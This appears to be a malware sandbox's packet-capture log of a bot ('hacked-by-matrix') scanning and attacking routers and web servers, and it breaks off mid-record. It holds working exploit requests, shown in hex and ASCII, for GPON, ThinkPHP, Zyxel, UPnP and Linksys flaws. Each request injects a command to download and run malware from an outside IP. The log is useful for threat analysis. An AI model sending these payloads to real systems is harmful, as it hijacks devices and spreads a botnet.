XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1255	192.168.2.13	32870	2.224.89.164	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:43.965939999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1256	192.168.2.13	54806	95.100.226.163	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.446484089 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:44.623723030 CET	479	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 257 Expires: Thu, 21 Mar 2024 04:18:44 GMT Date: Thu, 21 Mar 2024 04:18:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 37 65 31 39 62 38 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 34 26 23 34 36 3b 66 65 36 63 34 38 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.567e19b8.1710994724.fe6c48b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1257	192.168.2.13	55010	95.100.106.185	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.456929922 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:44.645745993 CET	583	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 361 Expires: Thu, 21 Mar 2024 04:18:44 GMT Date: Thu, 21 Mar 2024 04:18:44 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 39 36 61 36 34 35 66 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 34 26 23 34 36 3b 31 37 33 37 30 34 38 63 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 62 39 36 61 36 34 35 66 26 23 34 36 3b 31 37 31 30 39 39 34 37 32 34 26 23 34 36 3b 31 37 33 37 30 34 38 63 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.b96a645f.1710994724.1737048c<P>https://errors.edgesuite.net/9.b96a645f.1710994724.1737048c</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1258	192.168.2.13	36812	200.152.96.106	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.475923061 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:45.531104088 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:45.723453045 CET	518	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 04:18:45 GMT Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 242 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 4d 8f 41 6b c3 30 0c 85 ef f9 15 5a 4f db a1 56 12 0a db c1 18 da 26 65 85 ac 0b 9b 3b d8 d1 a9 b5 c6 d0 d9 99 ed ae ec df cf 49 19 8c 07 02 49 ef 13 4f fc a6 7a 5e cb f7 b6 86 47 f9 d4 40 bb 5f 35 db 35 cc e6 88 db 5a 6e 10 2b 59 5d 37 25 cb 11 eb dd 4c 64 bc 8f 9f 27 c1 7b 52 3a 35 d1 c4 13 89 45 be 80 9d 8b b0 71 67 ab 39 5e 87 19 c7 c9 c4 3b a7 7f 46 ae 10 ff 3c a9 cb f8 20 64 4f e0 e9 eb 4c 21 92 86 fd 4b 03 78 38 9a 79 67 2c be 19 ba 34 ee c8 54 18 e0 a2 02 d8 04 7f 8c 30 38 0b b1 37 01 02 f9 6f f2 8c e3 30 9e f7 a9 28 ad 3d 85 20 96 83 3a f4 84 25 4b 2a e1 b6 a2 ce 28 7b 07 af 13 00 2a 42 51 de b3 3c a9 80 d6 f9 08 0f 39 c7 3f 36 e5 9e 12 a7 8c e3 a7 d9 2f 67 ca ef 29 24 01 00 00 Data Ascii: MAk0ZOV&e;IIOz^G@_55Zn+Y]7%Ld'{R:5Eqg9^;F< dOL!Kx8yg,4T087o0(= :%K({BQ<9?6/g)$
Mar 21, 2024 05:18:45.729243994 CET	540	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:18:45 GMT Server: Apache/2.2.22 (Debian) Vary: Accept-Encoding Content-Length: 323 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 32 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 77 65 62 6d 61 69 6c 2d 64 6f 6d 69 6e 69 6f 73 2d 30 30 31 2e 6d 6c 73 2e 63 6f 6d 2e 62 72 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.2.22 (Debian) Server at webmail-dominios-001.mls.com.br Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1259	192.168.2.13	57332	200.71.100.128	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.509638071 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1260	192.168.2.13	42614	213.243.4.68	5555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.604564905 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:48.627835989 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:18:54.771838903 CET	881	OUT	POST /UD/?9 HTTP/1.1 User-Agent: hacked-by-matrix Content-Type: text/xml SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 34 39 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 3e 2f 74 6d 70 2f 2e 65 20 26 26 20 63 64 20 2f 74 6d 70 3b 20 3e 2f 76 61 72 2f 64 65 76 2f 2e 65 20 26 26 20 63 64 20 2f 76 61 72 2f 64 65 76 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 73 68 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 20 72 6d 20 6d 61 74 72 69 78 65 78 70 2e 73 68 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`>/tmp/.e && cd /tmp; >/var/dev/.e && cd /var/dev; wget http://109.205.214.35/matrixexp.sh; chmod 777 matrixexp.sh; sh matrixexp.sh; rm matrixexp.sh;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1261	192.168.2.13	36762	172.87.221.142	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:44.806054115 CET	426	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 